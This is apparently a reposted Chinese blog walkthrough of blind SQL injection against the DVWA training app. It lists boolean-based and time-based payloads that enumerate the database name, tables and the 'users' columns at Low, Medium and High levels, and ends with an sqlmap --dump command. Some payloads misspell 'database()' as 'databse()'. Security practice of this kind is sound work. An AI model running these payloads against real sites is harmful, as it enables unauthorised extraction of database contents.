SQL Injection (Blind)

Low級別基於布爾的盲注思路

1.判斷是否存在注入,注入是字符型還是數字型

2.猜解當前數據庫名

3.猜解數據庫中的表名

4.猜解表中的字段名

5.猜解數據

判斷是否有sql注入

輸入1、1’ and 1=1 #、1’ and 1=2#得到結果User ID exists in the database.可以判斷存在sql注入

猜解當前數據庫名

想要猜解數據庫名,首先用二分法猜解數據庫名的長度,然後挨個猜解字符。

1' and length(database())>5 #    -- 顯示不存在;說明庫名長度<=5
1' and length(database())>3 #    -- 顯示存在;說明長度>3 and <=5
1' and length(database())=4 #    -- 顯示存在:

採用二分法猜解數據庫名

1' and ascii(substr(databse(),1,1))>97#  -- 顯示存在,說明數據庫名的第一個字符的ascii值大於97(小寫字母a的ascii值);
1' and ascii(substr(databse(),1,1))<122#  -- 顯示存在,說明數據庫名的第一個字符的ascii值小於122(小寫字母z的ascii值);
1' and ascii(substr(databse(),1,1))<109#  -- 顯示存在,說明數據庫名的第一個字符的ascii值小於109(小寫字母m的ascii值);
1' and ascii(substr(databse(),1,1))<103#  -- 顯示存在,說明數據庫名的第一個字符的ascii值小於103(小寫字母g的ascii值);
1' and ascii(substr(databse(),1,1))<100#  -- 顯示不存在,說明數據庫名的第一個字符的ascii值不小於100(小寫字母d的ascii值);
1' and ascii(substr(databse(),1,1))>100#  -- 顯示不存在,說明數據庫名的第一個字符的ascii值不大於100(小寫字母d的ascii值),所以數據庫名的第一個字符的ascii值爲100,即小寫字母d。

重複上述步驟,直到猜解出完整的數據庫名

猜解數據庫中的表名

首先用二分法猜解數據庫中表的數量,下圖所示,表的個數爲2

1' and (select count (table_name) from information_schema.tables where table_schema=database())>5#  -- # 顯示不存在,說明表個數在1-5之間
1' and (select count (table_name) from information_schema.tables where table_schema=database())>3#  -- 顯示不存在,說明表個數在1-3之間
1' and (select count (table_name) from information_schema.tables where table_schema=database())=1#  -- 顯示不存在,排除1
1' and (select count (table_name) from information_schema.tables where table_schema=database())=2#  -- 顯示存在

接着要猜解表名,首先判斷表名的長度,下圖所示第一個表名長度爲9

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #   -- 顯示存在,說明表名長度>5
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #  -- 顯示不存在,表名長度5-10
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #   -- 顯示存在,挨個嘗試5-10,最終9顯示存在

接着採用二分法猜測表名

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #   -- 顯示存在>97
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 #   -- 顯示存在97-122
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 #   -- 顯示存在97-109
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 #   -- 顯示不存在103-109
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #   -- 顯示存在

重複上述步驟,即可猜解出兩個表名

猜解表中的字段名

首先猜解表中字段的數量,下圖所示user表中有8個字段

1' and (select count(column_name) from information_schema.columns where table_name= 'users')>5 #  -- 顯示存在  字段長度>5
1' and (select count(column_name) from information_schema.columns where table_name= 'users')>10 #  -- 顯示不存在  字段長度5-10
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 #  -- 顯示存在,挨個嘗試5-10

接着猜解字段名,先確定字段名長度

1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))>5 # 顯示存在  字段名長度>5
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))>10 # 顯示不存在  字段名長度5-10
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 顯示存在 

採用二分法猜測字段名,limit 0,1確定的是表的第幾個字段,substr(sql,1)確定的是字段的第幾個字母開始截取,ascii讀出左側的第一個字母的ascii值

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))>97 #  -- 判斷第一個字段第一個字母是否大於97
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,2),1))>97 #  -- 判斷第二個字段第一個字母是否大於97
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,2),2))>97 #  -- 判斷第二個字段第二個字母是否大於97

猜解數據

同樣採用二分法

Low級別基於時間的盲注

判斷是否存在注入,注入是字符型還是數字型

1and sleep(5) #  -- 感覺到明顯延遲
1 and sleep(5) #   -- 沒有延遲;

說明存在字符型的盲注。

猜解當前數據庫名

1' and if(length(database())=1,sleep(5),1) # 沒有延遲
1' and if(length(database())=2,sleep(5),1) # 沒有延遲
1' and if(length(database())=3,sleep(5),1) # 沒有延遲
1' and if(length(database())=4,sleep(5),1) # 明顯延遲

說明數據庫名長度爲4個字符。接着採用二分法猜解數據庫名

1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)#  -- 明顯延遲
1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)#  -- 沒有延遲
1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)#  -- 沒有延遲

猜解數據庫中的表名

首先猜解數據庫中表的數量

1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)#   沒有延遲
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)#   明顯延遲

猜表名

1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) #   -- 沒有延遲
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #   -- 明顯延遲

說明第一個表名的長度爲9個字符。採用二分法即可猜解出表名。

猜解表中的字段名

首先猜解表中字段的數量

1' and if((select count(column_name) from information_schema.columns where table_name= 'users')=1,sleep(5),1)#   --  沒有延遲
1' and if((select count(column_name) from information_schema.columns where table_name= 'users')=8,sleep(5),1)#   --  明顯延遲

接着挨個猜解字段名

1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) #   -- 沒有延遲 
1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) #   -- 明顯延遲

猜解數據

同樣採用二分法

Medium級別

基於布爾的盲注

抓包改參數id爲1 and length(database())=4 #,顯示存在,說明數據庫名的長度爲4個字符;
抓包改參數id爲1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #  顯示存在,說明數據中的第一個表名長度爲9個字符;
抓包改參數id爲1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 # (0×7573657273爲users的16進制),顯示存在,說明uers表有8個字段。

基於時間的盲注

抓包改參數id爲1 and if(length(database())=4,sleep(5),1) #,明顯延遲,說明數據庫名的長度爲4個字符;
抓包改參數id爲1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明顯延遲,說明數據中的第一個表名長度爲9個字符;
抓包改參數id爲1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明顯延遲,說明uers表有8個字段。

High級別

High級別的代碼利用cookie傳遞參數id,當SQL查詢結果爲空時,會執行函數sleep(seconds),目的是爲了擾亂基於時間的盲注。同時在 SQL查詢語句中添加了LIMIT 1,希望以此控制只輸出一個結果

抓包將cookie中參數id改爲1’ and length(database())=4 #,顯示存在,說明數據庫名的長度爲4個字符;

抓包將cookie中參數id改爲1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說明數據中的第一個表名長度爲9個字符;

抓包將cookie中參數id改爲1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 爲users的16進制),顯示存在,說明uers表有8個字段。

工具的使用

常用

sqlmap -u "url" --cookie "cookie值" --dump

sqlmap

參考

https://www.freebuf.com/articles/web/120985.html

 

轉載於:https://www.cnblogs.com/aeolian/p/11063164.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章